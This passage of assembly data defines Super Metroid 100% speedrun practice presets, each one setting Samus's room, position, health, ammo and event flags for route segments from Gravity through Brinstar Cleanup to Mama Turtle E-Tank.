dl $7E0AFA : db $02 : dw $0690 ; Samus Y
dl $7ED8C0 : db $02 : dw $0074 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0033 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_gravity_spiky_room_of_death:
dw #preset_hundo_gravity_ws_right_supers ; Gravity: WS Right Supers
dl $7E078D : db $02 : dw $A2E8 ; DDB
dl $7E090F : db $02 : dw $D801 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $D000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0471 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $011B ; Health
dl $7E09C6 : db $02 : dw $0034 ; Missiles
dl $7E09CA : db $02 : dw $000F ; Supers
dl $7E09CC : db $02 : dw $000F ; Max supers
dl $7E09CE : db $02 : dw $0005 ; Pbs
dl $7E0A1C : db $02 : dw $000F ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $0455 ; Samus X
dl $7E0AFA : db $02 : dw $04E6 ; Samus Y
dl $7ED880 : db $02 : dw $0061 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0037 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_gravity_ws_etank:
dw #preset_hundo_gravity_spiky_room_of_death ; Gravity: Spiky Room of Death
dl $7E078D : db $02 : dw $A258 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $CBD5 ; MDB
dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $2400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $00B7 ; Health
dl $7E09C6 : db $02 : dw $0033 ; Missiles
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0078 ; Samus X
dl $7E0AFA : db $02 : dw $016B ; Samus Y
dl $7ED8C0 : db $02 : dw $007C ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_gravity_spiky_room_of_death_revisit:
dw #preset_hundo_gravity_ws_etank ; Gravity: WS E-Tank
dl $7E078D : db $02 : dw $A27C ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $CC27 ; MDB
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $D400 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $1800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0005 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $01F3 ; Health
dl $7E09C4 : db $02 : dw $01F3 ; Max helath
dl $7E09CA : db $02 : dw $000E ; Supers
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $029E ; Samus X
dl $7E0AFA : db $02 : dw $008D ; Samus Y
dl $7ED880 : db $02 : dw $0071 ; Events, Items, Doors
dl $7ED8C0 : db $02 : dw $087C ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0038 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_gravity_ws_shaft_up_2:
dw #preset_hundo_gravity_spiky_room_of_death_revisit ; Gravity: Spiky Room of Death Revisit
dl $7E078D : db $02 : dw $A24C ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $CD5C ; MDB
dl $7E07F5 : db $02 : dw $0006 ; Music Track
dl $7E090F : db $02 : dw $F300 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $FC00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $01DF ; Health
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $004E ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dw #$FFFF
.after
preset_hundo_gravity_attic:
dw #preset_hundo_gravity_ws_shaft_up_2 ; Gravity: WS Shaft Up 2
dl $7E078D : db $02 : dw $A2D0 ; DDB
dl $7E079B : db $02 : dw $CAF6 ; MDB
dl $7E090F : db $02 : dw $0800 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $5C00 ; Screen subpixel Y position
dl $7E09C6 : db $02 : dw $0035 ; Missiles
dl $7E09CA : db $02 : dw $000D ; Supers
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $0449 ; Samus X
dl $7E0AFA : db $02 : dw $006B ; Samus Y
dl $7ED91A : db $02 : dw $0039 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_gravity_ws_robot_missiles:
dw #preset_hundo_gravity_attic ; Gravity: Attic
dl $7E078D : db $02 : dw $A228 ; DDB
dl $7E078F : db $02 : dw $0004 ; DoorOut Index
dl $7E079B : db $02 : dw $CA52 ; MDB
dl $7E090F : db $02 : dw $9000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0600 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $63FF ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $001F ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $01EB ; Health
dl $7E09C6 : db $02 : dw $002D ; Missiles
dl $7E09CA : db $02 : dw $0008 ; Supers
dl $7E0A1C : db $02 : dw $001E ; Samus position/state
dl $7E0A1E : db $02 : dw $0408 ; More position/state
dl $7E0AF6 : db $02 : dw $06CD ; Samus X
dl $7E0AFA : db $02 : dw $0099 ; Samus Y
dl $7E0B3F : db $02 : dw $0104 ; Blue suit
dl $7ED8C0 : db $02 : dw $0B7C ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_gravity_attic_revisit:
dw #preset_hundo_gravity_ws_robot_missiles ; Gravity: WS Robot Missiles
dl $7E078D : db $02 : dw $A1D4 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $CAAE ; MDB
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $A400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $01AD ; Health
dl $7E09C6 : db $02 : dw $0026 ; Missiles
dl $7E09C8 : db $02 : dw $003C ; Max missiles
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0046 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dl $7ED880 : db $02 : dw $0079 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $003A ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_gravity_sky_missiles:
dw #preset_hundo_gravity_attic_revisit ; Gravity: Attic Revisit
dl $7E078D : db $02 : dw $A1EC ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $CA52 ; MDB
dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $97FE ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $001F ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $01A3 ; Health
dl $7E09C6 : db $02 : dw $0025 ; Missiles
dl $7E09CA : db $02 : dw $0007 ; Supers
dl $7E0AF6 : db $02 : dw $003C ; Samus X
dw #$FFFF
.after
preset_hundo_gravity_bowling:
dw #preset_hundo_gravity_sky_missiles ; Gravity: Sky Missiles
dl $7E078D : db $02 : dw $89E2 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $9461 ; MDB
dl $7E079F : db $02 : dw $0000 ; Region
dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers
dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers
dl $7E07F3 : db $02 : dw $000C ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $A900 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $C800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $019E ; Health
dl $7E09C6 : db $02 : dw $002E ; Missiles
dl $7E09C8 : db $02 : dw $0046 ; Max missiles
dl $7E09CA : db $02 : dw $0006 ; Supers
dl $7E09CE : db $02 : dw $0006 ; Pbs
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $0194 ; Samus X
dl $7E0B3F : db $02 : dw $0001 ; Blue suit
dl $7ED870 : db $02 : dw $819C ; Events, Items, Doors
dl $7ED91A : db $02 : dw $003D ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_gravity_leaving_gravity:
dw #preset_hundo_gravity_bowling ; Gravity: Bowling
dl $7E078D : db $02 : dw $A1A4 ; DDB
dl $7E079B : db $02 : dw $CE40 ; MDB
dl $7E079F : db $02 : dw $0003 ; Region
dl $7E07C3 : db $02 : dw $AE9E ; GFX Pointers
dl $7E07C5 : db $02 : dw $E7BB ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B0 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0030 ; Music Bank
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $4000 ; Screen subpixel Y position
dl $7E09A2 : db $02 : dw $3125 ; Equipped Items
dl $7E09A4 : db $02 : dw $3125 ; Collected Items
dl $7E09C2 : db $02 : dw $011C ; Health
dl $7E09C6 : db $02 : dw $0033 ; Missiles
dl $7E09C8 : db $02 : dw $004B ; Max missiles
dl $7E09CE : db $02 : dw $0004 ; Pbs
dl $7E09D4 : db $02 : dw $00C8 ; Max reserves
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $006D ; Samus X
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dl $7ED880 : db $02 : dw $00FF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0040 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_crateria_pbs:
dw #preset_hundo_gravity_leaving_gravity ; Gravity: Leaving Gravity
dl $7E078D : db $02 : dw $8ADE ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $948C ; MDB
dl $7E079F : db $02 : dw $0000 ; Region
dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers
dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers
dl $7E07F3 : db $02 : dw $000C ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $9C00 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $03FF ; Screen subpixel Y position
dl $7E09C6 : db $02 : dw $0038 ; Missiles
dl $7E09C8 : db $02 : dw $0050 ; Max missiles
dl $7E0A1C : db $02 : dw $0010 ; Samus position/state
dl $7E0AF6 : db $02 : dw $008C ; Samus X
dl $7E0AFA : db $02 : dw $00A8 ; Samus Y
dl $7E0B3F : db $02 : dw $0003 ; Blue suit
dl $7ED870 : db $02 : dw $819E ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0044 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_ship_room:
dw #preset_hundo_brinstar_cleanup_crateria_pbs ; Brinstar Cleanup: Crateria PBs
dl $7E078D : db $02 : dw $893A ; DDB
dl $7E078F : db $02 : dw $0003 ; DoorOut Index
dl $7E079B : db $02 : dw $93AA ; MDB
dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $E400 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $00B9 ; Health
dl $7E09C6 : db $02 : dw $0034 ; Missiles
dl $7E09CE : db $02 : dw $000A ; Pbs
dl $7E09D0 : db $02 : dw $000F ; Max pbs
dl $7E0A1C : db $02 : dw $000C ; Samus position/state
dl $7E0AF6 : db $02 : dw $0042 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dl $7ED870 : db $02 : dw $819F ; Events, Items, Doors
dl $7ED8B0 : db $02 : dw $3002 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0045 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_gauntlet_etank:
dw #preset_hundo_brinstar_cleanup_ship_room ; Brinstar Cleanup: Ship Room
dl $7E078D : db $02 : dw $892E ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $92B3 ; MDB
dl $7E07F3 : db $02 : dw $0009 ; Music Bank
dl $7E090F : db $02 : dw $E800 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0002 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $BC00 ; Screen subpixel Y position
dl $7E09A6 : db $02 : dw $1001 ; Beams
dl $7E09C2 : db $02 : dw $001D ; Health
dl $7E09D6 : db $02 : dw $0035 ; Reserves
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0AF6 : db $02 : dw $0074 ; Samus X
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_green_pirates_shaft:
dw #preset_hundo_brinstar_cleanup_gauntlet_etank ; Brinstar Cleanup: Gauntlet E-Tank
dl $7E078D : db $02 : dw $8952 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $965B ; MDB
dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $7400 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $01F8 ; Health
dl $7E09C4 : db $02 : dw $0257 ; Max helath
dl $7E09CE : db $02 : dw $0009 ; Pbs
dl $7E0AF6 : db $02 : dw $002B ; Samus X
dl $7ED870 : db $02 : dw $81BF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0046 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_green_shaft_revisit:
dw #preset_hundo_brinstar_cleanup_green_pirates_shaft ; Brinstar Cleanup: Green Pirates Shaft
dl $7E078D : db $02 : dw $8C22 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $9938 ; MDB
dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers
dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $0C00 ; Screen subpixel Y position
dl $7E09C6 : db $02 : dw $0039 ; Missiles
dl $7E09C8 : db $02 : dw $005A ; Max missiles
dl $7E0A1C : db $02 : dw $0008 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $0088 ; Samus X
dl $7ED870 : db $02 : dw $87BF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0048 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_green_brinstar_beetoms:
dw #preset_hundo_brinstar_cleanup_green_shaft_revisit ; Brinstar Cleanup: Green Shaft Revisit
dl $7E078D : db $02 : dw $8C0A ; DDB
dl $7E078F : db $02 : dw $0009 ; DoorOut Index
dl $7E079B : db $02 : dw $9AD9 ; MDB
dl $7E079F : db $02 : dw $0001 ; Region
dl $7E07C3 : db $02 : dw $E6B0 ; GFX Pointers
dl $7E07C5 : db $02 : dw $64BB ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B2 ; GFX Pointers
dl $7E07F3 : db $02 : dw $000F ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $1000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0A1D ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $01FD ; Health
dl $7E09CE : db $02 : dw $0008 ; Pbs
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0AF6 : db $02 : dw $0032 ; Samus X
dl $7E0AFA : db $02 : dw $0A8B ; Samus Y
dl $7ED91A : db $02 : dw $0049 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_etecoon_energy_tank_room:
dw #preset_hundo_brinstar_cleanup_green_brinstar_beetoms ; Brinstar Cleanup: Green Brinstar Beetoms
dl $7E078D : db $02 : dw $8F3A ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $A051 ; MDB
dl $7E090F : db $02 : dw $B000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $B400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $01F5 ; Health
dl $7E09C6 : db $02 : dw $0038 ; Missiles
dl $7E09CA : db $02 : dw $000A ; Supers
dl $7E09CC : db $02 : dw $0014 ; Max supers
dl $7E09CE : db $02 : dw $000C ; Pbs
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $00C5 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED872 : db $02 : dw $848F ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $E818 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $004B ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_etecoon_room:
dw #preset_hundo_brinstar_cleanup_etecoon_energy_tank_room ; Brinstar Cleanup: Etecoon Energy Tank Room
dl $7E078D : db $02 : dw $8F5E ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $A011 ; MDB
dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $029B ; Health
dl $7E09C4 : db $02 : dw $02BB ; Max helath
dl $7E0AF6 : db $02 : dw $04D8 ; Samus X
dl $7E0AFA : db $02 : dw $018B ; Samus Y
dl $7ED872 : db $02 : dw $C48F ; Events, Items, Doors
dl $7ED91A : db $02 : dw $004C ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_dachora_room_revisit:
dw #preset_hundo_brinstar_cleanup_etecoon_room ; Brinstar Cleanup: Etecoon Room
dl $7E078D : db $02 : dw $8D06 ; DDB
dl $7E078F : db $02 : dw $0008 ; DoorOut Index
dl $7E079B : db $02 : dw $9AD9 ; MDB
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $05F5 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $028F ; Health
dl $7E09CE : db $02 : dw $000F ; Pbs
dl $7E09D0 : db $02 : dw $0014 ; Max pbs
dl $7E0A1C : db $02 : dw $0027 ; Samus position/state
dl $7E0A1E : db $02 : dw $0508 ; More position/state
dl $7E0AF6 : db $02 : dw $00B4 ; Samus X
dl $7E0AFA : db $02 : dw $0690 ; Samus Y
dl $7ED870 : db $02 : dw $A7BF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $004E ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_big_pink_revisit:
dw #preset_hundo_brinstar_cleanup_dachora_room_revisit ; Brinstar Cleanup: Dachora Room Revisit
dl $7E078D : db $02 : dw $8CE2 ; DDB
dl $7E078F : db $02 : dw $0005 ; DoorOut Index
dl $7E079B : db $02 : dw $9CB3 ; MDB
dl $7E090F : db $02 : dw $7000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $04ED ; Screen X position in pixels
dl $7E0913 : db $02 : dw $A400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $000B ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $05AA ; Samus X
dl $7E0AFA : db $02 : dw $00AB ; Samus Y
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_mission_impossible_pbs:
dw #preset_hundo_brinstar_cleanup_big_pink_revisit ; Brinstar Cleanup: Big Pink Revisit
dl $7E078D : db $02 : dw $8DAE ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $9D19 ; MDB
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $031A ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0277 ; Health
dl $7E09C6 : db $02 : dw $003D ; Missiles
dl $7E09C8 : db $02 : dw $005F ; Max missiles
dl $7E09CE : db $02 : dw $000E ; Pbs
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0264 ; Samus X
dl $7E0AFA : db $02 : dw $038B ; Samus Y
dl $7ED872 : db $02 : dw $C4AF ; Events, Items, Doors
dl $7ED8B4 : db $02 : dw $0346 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0051 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_pink_brinstar_etank:
dw #preset_hundo_brinstar_cleanup_mission_impossible_pbs ; Brinstar Cleanup: Mission Impossible PBs
dl $7E078D : db $02 : dw $8E62 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0296 ; Screen X position in pixels
dl $7E0915 : db $02 : dw $042A ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0268 ; Health
dl $7E09C6 : db $02 : dw $003A ; Missiles
dl $7E09CA : db $02 : dw $0007 ; Supers
dl $7E09CE : db $02 : dw $0013 ; Pbs
dl $7E09D0 : db $02 : dw $0019 ; Max pbs
dl $7E0A1C : db $02 : dw $000B ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $02F6 ; Samus X
dl $7E0AFA : db $02 : dw $049B ; Samus Y
dl $7E0B3F : db $02 : dw $0001 ; Blue suit
dl $7ED872 : db $02 : dw $C5AF ; Events, Items, Doors
dl $7ED8B4 : db $02 : dw $8346 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0055 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_spore_spawn_supers:
dw #preset_hundo_brinstar_cleanup_pink_brinstar_etank ; Brinstar Cleanup: Pink Brinstar E-Tank
dl $7E078D : db $02 : dw $8FB2 ; DDB
dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $02F3 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $E000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $053F ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0308 ; Health
dl $7E09C4 : db $02 : dw $031F ; Max helath
dl $7E09CA : db $02 : dw $0006 ; Supers
dl $7E09CE : db $02 : dw $0012 ; Pbs
dl $7E0A1C : db $02 : dw $0007 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $0389 ; Samus X
dl $7E0AFA : db $02 : dw $05AB ; Samus Y
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dl $7ED874 : db $02 : dw $0F8C ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $E8D8 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0059 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_brinstar_cleanup_waterway_etank:
dw #preset_hundo_brinstar_cleanup_spore_spawn_supers ; Brinstar Cleanup: Spore Spawn Supers
dl $7E078D : db $02 : dw $8F82 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $7400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $090A ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $003F ; Missiles
dl $7E09C8 : db $02 : dw $0064 ; Max missiles
dl $7E09CA : db $02 : dw $0007 ; Supers
dl $7E09CC : db $02 : dw $0019 ; Max supers
dl $7E09CE : db $02 : dw $000F ; Pbs
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0051 ; Samus X
dl $7E0AFA : db $02 : dw $098B ; Samus Y
dl $7ED870 : db $02 : dw $E7BF ; Events, Items, Doors
dl $7ED872 : db $02 : dw $C5EF ; Events, Items, Doors
dl $7ED8B4 : db $02 : dw $8B46 ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $E8F8 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $005D ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_mama_turtle_etank_big_pink_charge_escape:
dw #preset_hundo_brinstar_cleanup_waterway_etank ; Brinstar Cleanup: Waterway E-Tank
dl $7E078D : db $02 : dw $8F8E ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $C800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0900 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0383 ; Health
dl $7E09C4 : db $02 : dw $0383 ; Max helath
dl $7E09C6 : db $02 : dw $0041 ; Missiles
dl $7E09CE : db $02 : dw $0012 ; Pbs
dl $7E09D6 : db $02 : dw $005D ; Reserves
dl $7E0A1C : db $02 : dw $0019 ; Samus position/state
dl $7E0A1E : db $02 : dw $0308 ; More position/state
dl $7E0AF6 : db $02 : dw $0048 ; Samus X
dl $7ED874 : db $02 : dw $0F8E ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0061 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_mama_turtle_etank_green_hills_revisit:
dw #preset_hundo_mama_turtle_etank_big_pink_charge_escape ; Mama Turtle E-Tank: Big Pink Charge Escape
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $02F2 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $061D ; Screen Y position in pixels
dl $7E09CE : db $02 : dw $0011 ; Pbs
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $0352 ; Samus X
dl $7E0AFA : db $02 : dw $068B ; Samus Y
dw #$FFFF
.after
preset_hundo_mama_turtle_etank_blockbuster:
dw #preset_hundo_mama_turtle_etank_green_hills_revisit ; Mama Turtle E-Tank: Green Hills Revisit
dl $7E078D : db $02 : dw $8E92 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $9FBA ; MDB
dl $7E0911 : db $02 : dw $0021 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $D400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $037E ; Health
dl $7E09C6 : db $02 : dw $0045 ; Missiles
dl $7E09C8 : db $02 : dw $0069 ; Max missiles
dl $7E09CE : db $02 : dw $0010 ; Pbs
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $0081 ; Samus X
dl $7E0AFA : db $02 : dw $00AB ; Samus Y
dl $7ED872 : db $02 : dw $C7EF ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $E8F9 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0062 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_mama_turtle_etank_main_street:
